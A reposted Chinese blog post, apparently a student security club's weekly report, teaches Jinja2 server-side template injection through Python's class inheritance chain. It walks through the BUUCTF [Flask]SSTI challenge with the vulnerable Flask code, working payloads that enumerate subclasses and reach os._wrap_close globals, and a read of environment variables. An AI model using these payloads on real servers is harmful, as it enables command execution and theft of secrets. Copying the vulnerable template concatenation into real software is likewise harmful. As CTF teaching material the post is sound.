网安社团周报Week4–SSTI(模板注入)

admin 2026-03-18 03:28:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入讲解服务器端模板注入SSTI的原理与危害,阐述Python类继承体系及魔术方法在漏洞利用中的作用。结合BUUCTF实战案例,详细演示了从漏洞检测到利用继承链定位危险类并执行命令获取Flag的全过程。文档结构清晰,理论与实操结合紧密,为理解SSTI利用链提供了直观指导。 综合评分: 87 文章分类: CTF,WEB安全,漏洞分析


cover_image

网安社团周报 Week4 – SSTI(模板注入)

原创

小志z 小志z

志在片语

2026年3月6日 19:51 山东

经常用AI做这个类型的题 但是不太懂背后的原理 正好趁着周报学习方向是这个学一下下!

理解 SSTI

什么是SSTI(模板注入)

SSTI(Server-Side Template Injection,服务器端模板注入) 是一种安全漏洞,攻击者可以通过向模板中注入恶意代码,在服务器端执行任意命令。

简单来说,就是当网站使用模板引擎(如Jinja2、Twig、Freemarker等)渲染用户输入的内容时,如果没有对用户输入进行严格的过滤和验证,攻击者就可以通过特殊的语法注入模板代码,从而控制模板的执行逻辑

SSTI的危害有多大?

SSTI的危害取决于模板引擎的功能和沙箱环境,可能造成:

  1. 信息泄露:读取敏感文件(/etc/passwd、配置文件等)
  2. 命令执行:在服务器上执行系统命令
  3. 反弹Shell:获取服务器的控制权
  4. 内网探测:利用服务器作为跳板攻击内网
  5. 数据篡改:修改数据库内容

常见的Python模板引擎

| 模板引擎 | 使用框架 | 语法特点 | | — | — | — | | Jinja2 | Flask, Django(可选) | {{ }} 表达式,{% %} 语句 | | Mako | Pyramid | ${ } 表达式,<% %> 语句 | | Tornado模板 | Tornado | {{ }} 表达式,{% %} 语句 | | Django模板 | Django | {{ }} 表达式,{% %} 语句 |

继承关系

基础概念

在理解SSTI漏洞利用原理之前,我们需要先了解Python中类、对象和继承的基本概念。因为大多数SSTI的payload都利用了Python的MRO(Method Resolution Order,方法解析顺序)继承链来获取危险函数。

class&nbsp;Animal:
&nbsp; &nbsp;&nbsp;def&nbsp;__init__(self, name):
&nbsp; &nbsp; &nbsp; &nbsp; self.name = name

&nbsp; &nbsp;&nbsp;def&nbsp;speak(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnf"{self.name}发出声音"

class&nbsp;Dog(Animal):# Dog继承自Animal
&nbsp; &nbsp;&nbsp;def&nbsp;speak(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnf"{self.name}汪汪叫"

# 创建对象
dog = Dog("旺财")
print(dog.speak()) &nbsp;# 输出:旺财汪汪叫

在这个例子中:

  • Animal父类(基类)
  • Dog子类(派生类),继承了Animal的所有属性和方法
  • dogDog类的实例对象

Python中的类继承体系

Python中所有的类都有一个共同的祖先——object类,关系图大概如下

object
&nbsp; ↑
Animal
&nbsp; ↑
&nbsp;Dog
&nbsp; ↑
my_dog_instance(实例对象)

重要概念:

  • 任何类都直接或间接继承自object
  • 实例对象可以通过__class__属性找到它的类
  • 类可以通过__bases__属性找到它的父类
  • 类可以通过__mro__属性查看继承链

SSTI中常用的魔术方法

理解什么是魔术方法?

在SSTI利用过程中,我们经常使用以下魔术方法来”向上爬”继承链:

| 魔术方法 | 作用 | 示例 | | — | — | — | | __class__ | 返回当前实例所属的类 | "".__class__ | | __bases__ | 返回类的父类组成的元组 | "".__class__.__bases__ | | __mro__ | 返回类的继承顺序元组 | "".__class__.__mro__ | | __subclasses__() | 返回类的所有子类列表 | object.__subclasses__() | | __globals__ | 返回函数所在全局命名空间的字典 | func.__globals__ | | __builtins__ | 返回内置函数和异常的字典 | __builtins__ |

用一个简单的代码理解继承链:

# 创建一个字符串对象
s =&nbsp;"Hello SSTI"

# 查看它的类
print(s.__class__) &nbsp;# <class 'str'>

# 查看str类的父类
print(s.__class__.__bases__) &nbsp;# (<class 'object'>,)

# 查看完整的继承链
print(s.__class__.__mro__)
# (<class 'str'>, <class 'object'>)

# 从str类找到object类
obj_class = s.__class__.__bases__[0] &nbsp;# object类
print(obj_class) &nbsp;# <class 'object'>

# 查看object类的所有子类
print(len(obj_class.__subclasses__())) &nbsp;# 数量取决于环境

输出结果如下

# 查看字符串对象的类
<class 'str'>

# 查看str类的父类
(<class 'object'>,)

# 查看完整的继承链
(<class 'str'>, <class 'object'>)

# 从str类找到object类
<class 'object'>

# 查看object类的所有子类
173

继承关系可视化

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; object (根类)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/ &nbsp; &nbsp;| &nbsp; &nbsp;\
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; / &nbsp; &nbsp; | &nbsp; &nbsp; \
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; str &nbsp; &nbsp;int &nbsp; &nbsp;list ...
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ↑
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s =&nbsp;"Hello SSTI"&nbsp;(实例)

万物皆对象

  • 字符串"Hello SSTI"是一个对象
  • 它的类str也是一个对象
  • 根类object也是一个对象

根类连接万物

  • object有173个子类(包括strintlist等)
  • 通过这些子类,我们可以访问到Python环境中的所有类

概念听不懂?以CTF题学习SSTI原理 –  BUUCTF [Flask]SSTI

后端代码含义

打开网页如下图所示 会回显Hello Guest

查看一下后端的代码 来了解一下原理

from&nbsp;jinja2&nbsp;import&nbsp;Template

app = Flask(__name__)

@app.route("/")
def&nbsp;index():
&nbsp; &nbsp; name = request.args.get('name',&nbsp;'guest')

&nbsp; &nbsp; t = Template("Hello "&nbsp;+ name)
&nbsp; &nbsp;&nbsp;return&nbsp;t.render()

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; app.run()

代码逐行分析:

  1. name = request.args.get('name', 'guest')
  • 从URL参数中获取name的值,如果没有提供则默认为’guest’
  • 例如:访问/?name=张三,那么name = "张三"
  1. t = Template("Hello " + name)漏洞点
  • 这里使用字符串拼接创建模板:"Hello " + name
  • 如果name是普通字符串,比如”张三”,那么模板就是"Hello 张三"
  • 但如果name中包含模板语法,比如{{7*7}},那么模板就变成"Hello {{7*7}}"
  1. return t.render()
  • 渲染模板,执行其中的模板代码

关于Python表达式

表达式是Python代码中可以计算出值的任何片段。简单来说,就是”有结果”的代码

在Jinja2模板的{{ ... }}中,可以写任何有效的Python表达式,但不能写语句

例如可以写的表达式有

{{&nbsp;7&nbsp;*&nbsp;7&nbsp;}} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 算术表达式
{{&nbsp;"Hello".upper() }} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 方法调用
{{ [1,2,3][0] }} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 列表索引
{{ user.name }} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 属性访问
{{ user['name'] }} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 字典取值
{{ max([1,5,3]) }} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 函数调用
{{ name|upper }} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 过滤器(Jinja2特有)

不能写的(语句)

{{ x =&nbsp;5&nbsp;}} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 赋值语句(不能写)
{{&nbsp;if&nbsp;True: }} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# if语句(不能写)
{{&nbsp;for&nbsp;i&nbsp;in&nbsp;range(10): }} &nbsp; &nbsp; &nbsp;&nbsp;# for语句(不能写)
{{&nbsp;def&nbsp;func():&nbsp;}} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 函数定义(不能写)
{{&nbsp;import&nbsp;os }} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 导入语句(不能写)

开始解题!

测试是否存在SSTI漏洞

先访问访问 /?name={{7*7}} 发现回显49 确认存在SSTI漏洞

理解利用链的思路

我们的目标是命令执行,但直接写{{os.system('ls')}}是不行的,因为:

  1. 模板环境中默认没有导入os模块
  2. 我们需要从已有的对象出发,找到可以执行命令的方法

思路:从任意对象开始 → 找到它的类 → 找到父类(object) → 找到所有子类 → 在子类中寻找可以执行命令的类(如os._wrap_closesubprocess.Popen等)

尝试进行查类

尝试访问 ?name={{%20[].class.base.subclasses()}}  但是回显如下

这个payload理论上应该返回所有子类

打开F12可以看到所有的类都显示出来了 只不过可能因为是网页是层级关系显示的 而且没有索引号

没办法直接通过类名访问 但是可以通过索引号访问 所以一般情况查到类名之后就要去查索引号

可以通过以下方法实现顺带着查询索引号

没错 这个也可以使用for循环!

?name={%&nbsp;for&nbsp;c&nbsp;in&nbsp;[].__class__.__base__.__subclasses__() %}{{ loop.index0 }}:{{ c }}<br>{% endfor %}

| 代码片段 | 含义 | 作用 | | — | — | — | | {% for c in ... %} | for循环语句 | 遍历子类列表中的每一个类,赋值给变量c | | [].__class__.__base__.__subclasses__() | 获取所有子类 | 从空列表出发,找到object基类的所有子类 | | {{ loop.index0 }} | 输出当前索引 | loop.index0 是Jinja2内置变量,表示当前循环次数从0开始 | | : | 分隔符 | 让输出格式为 索引:类,便于阅读 | | {{ c }} | 输出当前类 | 显示当前遍历到的类 | | <br> | HTML换行 | 让每个类显示在新的一行,避免挤在一起 | | {% endfor %} | 结束循环 | 标记循环结束 |

然后搜索一下os. 就能看到索引为117!

拿到索引号使用getflag

先确认 117 确实是 os._wrap_close

?name={{ [].__class__.__base__.__subclasses__()[117].__name__ }}

返回 发现没问题!

查看这个类所有可用的全局变量

?name={{ [].__class__.__base__.__subclasses__()[117].__init__.__globals__.keys() }}

我们找到其中的 environ 查询环境变量 因为ctf中很多时候环境变量里面就有flag 就不用比较麻烦的去别处找了

?name={{ [].__class__.__base__.__subclasses__()[117].__init__.__globals__.environ }}

成功Getflag!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:志在片语 小志z 小志z《网安社团周报 Week4 – SSTI(模板注入)》

    代码审计工具 网络安全文章

    代码审计工具

    文章总结: 文档介绍了一款由安全赛博开发的AI代码审计工具,该工具融合了模型训练、审计历史与记忆系统,支持多模型竞争以输出准确漏洞报告。其核心亮点在于利用小模型
    评论:0   参与:  0